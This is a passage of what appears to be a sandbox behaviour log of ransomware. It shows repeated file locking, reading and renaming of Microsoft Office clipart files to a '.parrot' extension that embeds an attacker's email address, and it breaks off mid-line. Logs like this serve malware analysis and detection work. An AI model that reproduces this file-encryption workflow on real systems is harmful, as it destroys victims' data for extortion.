SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.949] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.951] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.951] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x40f8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x40f8, lpOverlapped=0x0) returned 1 [0136.953] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.953] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4210, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.953] CloseHandle (hObject=0x288) returned 1 [0136.953] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.956] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x31ac, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.957] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.957] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.966] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.967] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3094, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3094, lpOverlapped=0x0) returned 1 [0136.968] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.968] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x31ac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.968] CloseHandle (hObject=0x288) returned 1 [0136.968] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.972] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1860, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.972] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.972] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.974] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.974] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1748, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1748, lpOverlapped=0x0) returned 1 [0136.975] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.975] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1860, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.975] CloseHandle (hObject=0x288) returned 1 [0136.975] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.979] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x269c, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.979] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.979] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.981] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.981] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2584, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2584, lpOverlapped=0x0) returned 1 [0136.982] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.983] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x269c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.983] CloseHandle (hObject=0x288) returned 1 [0136.983] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.986] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x67a0, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.986] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.986] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0137.094] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.094] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6688, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6688, lpOverlapped=0x0) returned 1 [0137.096] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.096] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x67a0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0137.096] CloseHandle (hObject=0x288) returned 1 [0137.096] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0137.100] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7974, nNumberOfBytesToLockHigh=0x0) returned 1 [0137.100] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.100] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0137.105] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.105] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x785c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x785c, lpOverlapped=0x0) returned 1 [0137.106] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.142] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7974, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0137.142] CloseHandle (hObject=0x288) returned 1 [0137.142] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0137.147] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x888c, nNumberOfBytesToLockHigh=0x0) returned 1 [0137.148] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.148] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0137.150] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.150] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8774, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8774, lpOverlapped=0x0) returned 1 [0137.153] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.153] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x888c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0137.153] CloseHandle (hObject=0x288) returned 1 [0137.153] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0137.157] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x60c, nNumberOfBytesToLockHigh=0x0) returned 1 [0137.157] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.157] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0137.159] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.159] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4f4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4f4, lpOverlapped=0x0) returned 1 [0137.159] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.159] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x60c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0137.159] CloseHandle (hObject=0x288) returned 1 [0137.159] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0137.163] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x65c, nNumberOfBytesToLockHigh=0x0) returned 1 [0137.163] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.163] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0137.164] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.165] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x544, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x544, lpOverlapped=0x0) returned 1 [0137.165] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.167] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x65c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0137.167] CloseHandle (hObject=0x288) returned 1 [0137.167] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0137.171] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1db0, nNumberOfBytesToLockHigh=0x0) returned 1 [0137.171] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.171] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0137.172] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.172] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c98, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1c98, lpOverlapped=0x0) returned 1 [0137.173] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.174] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1db0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0137.174] CloseHandle (hObject=0x288) returned 1 [0137.174] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0137.178] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5d0, nNumberOfBytesToLockHigh=0x0) returned 1 [0137.178] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.178] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0137.238] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.238] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4b8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4b8, lpOverlapped=0x0) returned 1 [0137.238] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.239] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5d0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0137.239] CloseHandle (hObject=0x288) returned 1 [0137.239] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0137.285] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5d0, nNumberOfBytesToLockHigh=0x0) returned 1 [0137.285] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.285] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0137.287] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.287] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4b8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4b8, lpOverlapped=0x0) returned 1 [0137.288] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.288] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5d0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0137.288] CloseHandle (hObject=0x288) returned 1 [0137.289] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0137.293] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x78c, nNumberOfBytesToLockHigh=0x0) returned 1 [0137.293] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.293] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0137.294] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.295] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x674, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x674, lpOverlapped=0x0) returned 1 [0137.295] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.295] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x78c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0137.295] CloseHandle (hObject=0x288) returned 1 [0137.296] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0137.300] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1444, nNumberOfBytesToLockHigh=0x0) returned 1 [0137.300] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.300] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0137.302] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.302] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x132c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x132c, lpOverlapped=0x0) returned 1 [0137.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0137.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0137.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0137.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0137.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0137.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0137.303] GetLastError () returned 0x0 [0137.303] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0137.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0137.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0137.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0137.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0137.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0137.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0137.303] RtlAllocateHeap 